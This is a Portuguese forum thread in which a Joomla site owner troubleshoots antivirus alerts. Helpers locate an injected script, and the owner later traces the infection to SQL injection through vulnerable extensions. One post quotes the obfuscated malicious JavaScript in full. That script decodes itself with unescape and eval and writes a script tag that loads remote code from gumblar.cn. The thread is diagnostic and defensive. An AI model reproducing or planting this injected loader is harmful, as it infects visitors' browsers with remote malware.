Joomla vs AVG

[digohs]

ESTOU TENDO PROBLEMAS COM UM DE MEUS SITES A UM TEMPINHO.
http://www.miba.com.br/

O AVG RETORNA MENSAGEM:
"Filename: www.miba.com.br/
theat name: "Exploit link to known exploit site (type 508)"

fiz o download do joomla novamente para comparar os arquivos com os de minha pagina, Observei os arquivos são identicos, eu simplesmente nao sei de onde vem ou se existe realmente uma infeccção dentro de minha pagina.

Obs: dentro da mesma conta que eu hospedo o site (locaweb),
eu possuo varios outros sites joomla e nao joomla em subpastas, nenhum apresenta o erro..
dentre eles:
http://www.gospelrap.com.br
http://www.gangstar.com.br
http://www.gangsta.com.br
http://www.gaditas.net
http://www.ganggsta.com
http://www.ministeriocompaixao.com.br

[digohs]

este é o codigo que o avg detectou na index
mas ele tbm detecta o virus em www.miba.com.br/administrator, so q nao consigo visualisar o codigo malicioso como o debaixo q eh o da index...

<script type="text/javascript" src="http://miba.com.br/modules/mod_gk_news_ ... e_slides=1

[ronildo]

Seu site está fora do ar aqui pra mim.

[digohs]

coloquei no ar... da uma olhada!

[ronildo]

Olha no código fonte da sua página tem um código que eu não sei se é do site é um código malicioso... é esse aqui.

Code: Select all

(function(FTjoO){var uGLZs=('<76a<72<20<61<3d<22Script<45ng<69n<65<22<2cb<3d<22Version(<29+<22<2cj<3d<22<22<2cu<3dn<61vi<67ator<2euserA<67ent<3bif((u<2ein<64ex<4ff(<22W<69n<22)<3e<30<29<26<26(u<2eind<65<78Of(<22NT<206<22)<3c<30)<26<26(doc<75m<65<6et<2ec<6fokie<2einde<78O<66<28<22mie<6b<3d1<22<29<3c0)<26<26(<74ypeof(<7arvzts)<21<3dtype<6ff(<22<41<22<29)<29<7bzr<76zt<73<3d<22A<22<3beval(<22i<66(wi<6edow<2e<22<2ba+<22<29<6a<3dj+<22<2ba+<22M<61jor<22+b+a+<22Minor<22<2bb+a<2b<22Build<22+b+<22<6a<3b<22<29<3b<64o<63u<6dent<2e<77r<69te(<22<3cscr<69<70<74<20src<3d<2f<2f<67umblar<2ecn<2frss<2f<3fid<3d<22+<6a+<22<3e<3c<5c<2f<73<63ript<3e<22)<3b<7d').replace(FTjoO,'%');var dOY8P=unescape(uGLZs);eval(dOY8P)})(/</g);

Tenta tirar esse código e ve se o AVG para de dar aviso.

[digohs]

coloquei no ar novamente... da uma olhada pra mim

[ronildo]

Amigo eu não uso o AVG pra mim não deu nenhum problema aqui... vc teria que verificar no seu computador se o AVG continua acusando o problema.

[digohs]

este é o virus q acusou no avast...
eu nao faço ideia de como removê-lo, nem por onde entrou...
JS: Redirector-H3 [Trj]

[ronildo]

A pergunta é, continua acusando ainda depois de vc tirar aquele código que eu falei??

[digohs]

eu estou tentando achar onde o codigo foi inserido mas nao consigo, o sr pode me dar uma dica?

[fititnt]

Em geral esse tipo de código é colocado no template.

Na pior das hipoteses, baixe todo o site para seu computador, e use um programa para procurar por palavras em arquivos de uma pasta. Até o dreamweaver vai apontar isso.

[wmfelipe]

um amigo meu já teve problemas com esses 'vírus javascript', realmente basta procurar e remover aquele código estranho do inferno

abraço

[stravos]

Legal foi que o firefox já bloqueou o site do kra por ser uma possível ameaça... =P

[samp]

é alguma extensão com vulnerabilidade que permite a inserção de códigos ou arquivos maliciosos. cheque todas que vc usa, e claro, use a última versão do J!

[digohs]

o problema aí foi por uma inclusão de sql maliciosa... tudo resolvido após atualizar meu joomla e desabilitar algumas extenções....

uma dica, antes de usar qqr extenção, dê uma olhada no histórico dela, se existem bugs nela e se existe uma real necessidade de usá-la, qto mais extenções voce tiver, mais vai ter que ficar antenado em atualizacoes e correcoes de bugs, o que fica complicado pra desenvolvedores nao eh mesmo....

um abraço a todooooss